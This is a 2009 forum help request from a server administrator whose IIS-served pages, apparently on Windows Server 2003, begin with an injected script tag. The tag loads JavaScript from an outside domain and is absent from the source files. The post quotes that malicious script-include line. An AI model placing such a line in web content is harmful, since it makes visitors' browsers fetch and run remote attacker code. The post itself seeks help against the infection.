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virus attack on 2003 server

Discussion in 'Virus & Other Malware Removal' started by naughtytoon123, Aug 17, 2009.

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    I noticed some web pages having a line like this
    sCRipt src=//ms1.6600.org/hf/x/y.js></script>

    this seems to appear only on first line
    do any one have any idea what is this?
    when I enter to this page directly I have a google warning that this page have some kind of malware

    i tried to manually check the html or asp files but on the pages there is no hard coded result we had scanned the server many times with different anti virus programs but no result whenever the iis renders this page the values are embeded on the title before the html tags m really confused is it a coding issue or is it a virus attack and its not a sql injection attack as many html files are also affected by the same

    there seems to be no information about this issue
    any idea is welcome
     
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